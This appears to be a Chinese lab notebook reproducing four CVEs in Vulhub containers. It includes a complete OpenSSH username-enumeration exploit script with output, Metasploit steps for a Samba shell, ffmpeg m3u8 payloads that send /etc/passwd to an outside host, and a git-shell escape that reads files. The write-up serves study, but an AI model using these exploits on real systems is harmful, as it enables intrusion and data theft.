CVE

CVE

在Vulhub上面的CVE复现,一份小记录

OpenSSH

CVE-2018-15473

漏洞内容:在OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,可以判断某个用户名是否存在于目标主机中

漏洞作用:我们用弱口令、爆破等方式进行尝试登录时,ssh需要的用户名和账户名不管是一致还是不一致,都会给我们一个登录延迟的假象,让我们以为可以登录成功,实则不管你的用户名是否是正确的,它都会让你输入密码,然后告诉你登录失败,因此我们必须知道对方用户准确的用户名,让我们在接下来不管是弱口令登录还是暴力破解方面都很有帮助

利用条件:OpenSSH 版本<7.7

漏洞复现:

  1. 进入docker更改密码,此处改为123456

  2. ssh连接docker,查看/etc/passwd文件来查看用户名

    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/bin/false
    sshd:x:74:74:Privilege-separated SSH:/usr/local/sbin/sshd:/sbin/nologin
    vulhub:x:1000:1000:,,,:/home/vulhub:/bin/bash
    example:x:1001:1001:,,,:/home/example:/bin/bash
  3. 测试exp

    #!/usr/bin/env python
    # python2 exp.py --port SSH端口 --userList 用户名字典 IP
    ###########################################################################
    #                ____                    _____ _____ _    _               #
    #               / __ \                  / ____/ ____| |  | |              #
    #              | |  | |_ __   ___ _ __ | (___| (___ | |__| |              #
    #              | |  | | '_ \ / _ \ '_ \ \___ \\___ \|  __  |              #
    #              | |__| | |_) |  __/ | | |____) |___) | |  | |              #
    #               \____/| .__/ \___|_| |_|_____/_____/|_|  |_|              #
    #                     | |               Username Enumeration              #
    #                     |_|                                                 #
    #                                                                         #
    ###########################################################################
    # Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473)          #
    # Vulnerability: CVE-2018-15473                                           #
    # Affected Versions: OpenSSH version < 7.7                                #
    # Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT         #
    # Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit            #
    # Email: Justin.Gardner@SynerComm.com                                     #
    # Date: August 20, 2018                                                   #
    ###########################################################################
    
    import argparse
    import logging
    import paramiko
    import multiprocessing
    import socket
    import string
    import sys
    import json
    from random import randint as rand
    from random import choice as choice
    # store function we will overwrite to malform the packet
    old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
    
    # list to store 3 random usernames (all ascii_lowercase characters); this extra step is added to check the target
    # with these 3 random usernames (there is an almost 0 possibility that they can be real ones)
    random_username_list = []
    # populate the list
    for i in range(3):
        user = "".join(choice(string.ascii_lowercase) for x in range(rand(15, 20)))
        random_username_list.append(user)
    
    # create custom exception
    class BadUsername(Exception):
        def __init__(self):
            pass
    
    # create malicious "add_boolean" function to malform packet
    def add_boolean(*args, **kwargs):
        pass
    
    # create function to call when username was invalid
    def call_error(*args, **kwargs):
        raise BadUsername()
    
    # create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
    def malform_packet(*args, **kwargs):
        old_add_boolean = paramiko.message.Message.add_boolean
        paramiko.message.Message.add_boolean = add_boolean
        result  = old_parse_service_accept(*args, **kwargs)
        #return old add_boolean function so start_client will work again
        paramiko.message.Message.add_boolean = old_add_boolean
        return result
    
    # create function to perform authentication with malformed packet and desired username
    def checkUsername(username, tried=0):
        sock = socket.socket()
        sock.connect((args.hostname, args.port))
        # instantiate transport
        transport = paramiko.transport.Transport(sock)
        try:
            transport.start_client()
        except paramiko.ssh_exception.SSHException:
            # server was likely flooded, retry up to 3 times
            transport.close()
            if tried < 4:
                tried += 1
                return checkUsername(username, tried)
            else:
                print('[-] Failed to negotiate SSH transport')
        try:
            transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
        except BadUsername:
                return (username, False)
        except paramiko.ssh_exception.AuthenticationException:
                return (username, True)
        #Successful auth(?)
        raise Exception("There was an error. Is this the correct version of OpenSSH?")
    
    # function to test target system using the randomly generated usernames
    def checkVulnerable():
        vulnerable = True
        for user in random_username_list:
            result = checkUsername(user)
            if result[1]:
                vulnerable = False
        return vulnerable
    
    def exportJSON(results):
        data = {"Valid":[], "Invalid":[]}
        for result in results:
            if result[1] and result[0] not in data['Valid']:
                data['Valid'].append(result[0])
            elif not result[1] and result[0] not in data['Invalid']:
                data['Invalid'].append(result[0])
        return json.dumps(data)
    
    def exportCSV(results):
        final = "Username, Valid\n"
        for result in results:
            final += result[0]+", "+str(result[1])+"\n"
        return final
    
    def exportList(results):
        final = ""
        for result in results:
            if result[1]:
                final+=result[0]+" is a valid user!\n"
            else:
                final+=result[0]+" is not a valid user!\n"
        return final
    
    # assign functions to respective handlers
    paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
    paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error
    
    # get rid of paramiko logging
    logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
    
    arg_parser = argparse.ArgumentParser()
    arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
    arg_parser.add_argument('--port', type=int, default=22, help="The target port")
    arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
    arg_parser.add_argument('--outputFile', type=str, help="The output file location")
    arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
    group = arg_parser.add_mutually_exclusive_group(required=True)
    group.add_argument('--username', type=str, help="The single username to validate")
    group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
    args = arg_parser.parse_args()
    
    def main():
        sock = socket.socket()
        try:
            sock.connect((args.hostname, args.port))
            sock.close()
        except socket.error:
            print('[-] Connecting to host failed. Please check the specified host and port.')
            sys.exit(1)
    
        # first we run the function to check if host is vulnerable to this CVE
        if not checkVulnerable():
            # most probably the target host is either patched or running a version not affected by this CVE
            print("Target host most probably is not vulnerable or already patched, exiting...")
            sys.exit(0)
        elif args.username: #single username passed in
            result = checkUsername(args.username)
            if result[1]:
                print(result[0]+" is a valid user!")
            else:
                print(result[0]+" is not a valid user!")
        elif args.userList: #username list passed in
            try:
                f = open(args.userList)
            except IOError:
                print("[-] File doesn't exist or is unreadable.")
                sys.exit(3)
            usernames = map(str.strip, f.readlines())
            f.close()
            # map usernames to their respective threads
            pool = multiprocessing.Pool(args.threads)
            results = pool.map(checkUsername, usernames)
            try:
                if args.outputFile:
                    outputFile = open(args.outputFile, "w")
            except IOError:
                print("[-] Cannot write to outputFile.")
                sys.exit(5)
            if args.outputFormat=='json':
                if args.outputFile:
                    outputFile.writelines(exportJSON(results))
                    outputFile.close()
                    print("[+] Results successfully written to " + args.outputFile + " in JSON form.")
                else:
                    print(exportJSON(results))
            elif args.outputFormat=='csv':
                if args.outputFile:
                    outputFile.writelines(exportCSV(results))
                    outputFile.close()
                    print("[+] Results successfully written to " + args.outputFile + " in CSV form.")
                else:
                    print(exportCSV(results))
            else:
                if args.outputFile:
                    outputFile.writelines(exportList(results))
                    outputFile.close()
                    print("[+] Results successfully written to " + args.outputFile + " in List form.")
                else:
                    print(exportList(results))
        else: # no usernames passed in
            print("[-] No usernames provided to check")
            sys.exit(4)
    
    if __name__ == '__main__':
        main()

    此处我们还需要一个用户名字典,可以自行构造,也可以用github上面一个开源项目SecLists,节约时间我们自行构造一个简短list,最终测试结果如下

    admin is not a valid user!
    bin is a valid user!
    sys is a valid user!
    sync is a valid user!
    games is a valid user!
    man is a valid user!
    lp is a valid user!
    111 is not a valid user!
    1243 is not a valid user!
    sahdsa is not a valid user!
    jalba is not a valid user!
    dsa is not a valid user!
    fe is not a valid user!
    qf is not a valid user!
    ds is not a valid user!
    vc is not a valid user!
    dsshg is not a valid user!
    rsa is not a valid user!
    grdfsbvfgd is not a valid user!
    sb is not a valid user!
    fgd is not a valid user!
    s is not a valid user!
    bgfd is not a valid user!
    s is not a valid user!
    g is not a valid user!
    fds is not a valid user!
    g is not a valid user!
    fd is not a valid user!
    sgf is not a valid user!
    ds is not a valid user!
    g is not a valid user!
    fdsh is not a valid user!
    tr is not a valid user!
    wnbyrsbf is not a valid user!
    dgs is not a valid user!
    root is a valid user!

    显然漏洞存在,而当我们对高级版本的SSH进行测试时,exp失效

Samba(SMB)

CVE-2017-7494

漏洞内容:只需要有一个可以写入文件的用户就可以提权到root权限

漏洞作用:RCE

影响范围:Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本

漏洞复现:

  1. vulhub直接起一个docker

  2. 使用msf搜索对应漏洞search is_known_pipename

  3. 使用set命令设置rhost

  4. 如果对方服务开启了匿名登录直接使用run命令即可,如果已知用户名密码可使用set smbuser和smbpass来指定用户登录

  5. 成功拿shell

ffmpeg

CVE-2016-1897

漏洞内容:首先了解一下m3u8文件格式,m3u8是一种索引文件,用于HLS协议传输媒体流,m3u8索引指向一个个小的媒体流碎片

简而言之,HLS 是新一代流媒体传输协议,其基本实现原理为将一个大的媒体文件进行分片,将该分片文件资源路径记录于 m3u8 文件(即 playlist)内,其中附带一些额外描述(比如该资源的多带宽信息···)用于提供给客户端。客户端依据该 m3u8 文件即可获取对应的媒体资源,进行播放。

一个基本的m3u8文件格式如下

  • m3u8 文件必须以 utf-8 进行编码,不能使用 Byte Order Mark(BOM)字节序, 不能包含 utf-8 控制字符(U+0000 ~ U_001F 和 U+007F ~ u+009F)。

  • m3u8 文件的每一行要么是一个 URI,要么是空行,要么就是以 # 开头的字符串。不能出现空白字符,除了显示声明的元素。

  • m3u8 文件中以 # 开头的字符串要么是注释,要么就是标签。标签以 #EXT 开头,大小写敏感。

  • ```
    各参数说明:
    #EXTM3U 标签是 m3u8 的文件头,开头必须要这一行
    #EXT-X-MEDIA-SEQUENCE 表示每一个media URI 在 PlayList中只有唯一的序号,相邻之间序号+1
    #EXTINF:10.0, 表示该一段 TS 流文件的长度
    #EXT-X-ENDLIST 这个相当于文件结束符

    
    ```m3u8
    #EXTM3U
    #EXT-X-TARGETDURATION:10
    #EXTINF:9.009,
    http://media.example.com/first.ts
    #EXTINF:9.009,
    http://media.example.com/second.ts
    #EXTINF:3.003,
    http://media.example.com/third.ts
    #EXT-X-ENDLIST

而在ffmpeg特定版本中并没有对URI进行任何检查,此处可导致SSRF,只需要监听一个端口然后直接访问即可验证

任意文件读取成因是在ffmpeg中有concat函数可以对URI进行拼接,我们只要将文件作为http请求的参数即可带出,但直接使用concat并不会对文件请求访问,所以我们需要一个小技巧,也就是通过主m3u8访问次级m3u8来使得文件被读取

kkk.txt

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://xxx/test.txt|file:///etc/passwd
#EXT-X-ENDLIST

text.txt

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://xxx/?

xxx.m3u8

#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://xxx/kkk.txt
#EXT-X-ENDLIST

将kkk.txt和text.txt都上传到服务器,然后用ffmpeg处理xxx.m3u8文件即可带出passwd文件首行

Git

CVE-2017-8386

漏洞成因:

  • 当我们想从github克隆一份代码下来的时候,会有ssh克隆的选项,我们去随便捞一个地址,找到Clone with SSH里列出的地址:git@github.com:Jlan45/j1an.github.io.git其实就是通过ssh协议连接github使用git用户将这个文件搞下来

  • 那我们猜想一下,是不是直接ssh链接就能和我们链接一个服务器一样去执行命令呢

  • 测试发现我们确实连接上了服务器,但是服务器给我们弹了一句话就让我们强制退出了

  • 这是怎么做到的咧

  • 那么,github这类git服务商是怎么实现上述“安全”通信的流程的呢?

    让用户可以通过ssh认证身份,但又不给用户shell,这个过程有两种方法实现:

    创建系统用户git的时候将其shell设置成git-shell
    在authorized_keys文件每个ssh-key的前面设置command,覆盖或劫持重写原本的命令
    第一种方法比较直观,就是创建用户的时候不给其正常的bash或sh的shell,而是给它一个git-shell。git-shell是一个沙盒环境,在git-shell下,只允许执行沙盒内包含的命令。
    ————————————————
    版权声明:本文为CSDN博主「建瓯最坏」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
    原文链接:https://blog.csdn.net/JiangBuLiu/article/details/95065034

  • 在github中确实是只有这三条命令可用

    • git-receive-pack <argument>
    • git-upload-pack <argument>
    • git-upload-archive <argument>
  • 但是后面有了参数,我们就可以通过–help来打开一个man页面,并且其会自动调用less命令,而通过less命令我们就能直接通过shift+e键来实现任意文件读取,甚至可以通过!命令来实现任意命令执行

漏洞内容:通过github的SSH实现任意文件读取

漏洞复现:

  1. 首先还是vulhub启一个服务器,可以看到目录下有id_rsa私钥文件,我们直接通过这个私钥来连接docker,并且执行git-upload-archive '--help'命令

    可以看到命令执行成功进入了man页面

  2. 尝试读取/etc/passwd

    读取成功